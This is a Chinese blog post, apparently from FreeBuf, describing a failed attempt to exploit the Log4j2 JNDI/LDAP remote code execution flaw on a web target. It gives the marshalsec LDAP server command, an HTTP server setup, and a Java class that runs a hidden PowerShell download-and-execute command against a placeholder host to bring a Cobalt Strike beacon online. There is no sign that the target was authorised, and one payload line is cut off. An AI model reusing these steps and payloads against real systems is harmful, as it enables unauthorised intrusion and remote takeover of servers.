一次失败的log4j2远程命令代码执行复现!
发现漏洞
查看网页后台,发现该网页允许ldap。
且使用了 log4j2 来记录日志 , 那么就可能存在log4j2的远程命令执行漏洞。
验证漏洞
dnslog 生成一个域名。
jndi+ldap注入。
域名成功解析了一次说明存在漏洞。
漏洞利用
在vps上随便找一个目录开启开一个http服务和一个ldap服务。
开启http服务:
python -m http.server 5555
开启ldap服务:
marshalsec-master 工具开启ldap服务 (也可以用这个开rmi服务) (下载后需要用maven打包)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx.xxx.xxx:5555/#Log4jExp" 1389
xxx.xxx.xxx:5555 为http服务ip和端口 , Log4jExp为接下来需要生成payload。
现在有了http服务(5555端口) 和 ldap服务(1389端口)。
ldap服务会指向http中的Log4jExp.class ,该文件即我们需要目标系统执行的class文件。
这里的思路是用cs 生成webdelivery 链接,让目标系统执行并上线。
cs生成的webdelivery链接:
(最好使用https://ares-x.com/tools/runtime-exec这个网站编码成base64)
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:80/a
Log4jExp.java :
package com.example.exp;
import java.lang.Runtime;
public class Log4jExp {
public Log4jExp() {
try {
Runtime.getRuntime().exec("powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:80/a'))"");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
Log4jExp e = new Log4jExp();
}
}编译exp:
javac Log4jExp.java
(这里编译好会立马被windows defender 删掉)
想办法上传到公网服务器的http目录下。
启动cs!!!
jndi+ldap注入!
如果一切顺利 ,目标服务器将会上线cs。
结果失败了! 目标迟迟不上线 , 查看ldap服务的日志发现确实被访问了 , 说明我们部署的ldap服务和http服务没问题。- 失败的可能原因:
目标服务器的java版本过高
(这里直接借用其他大佬的总结)
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录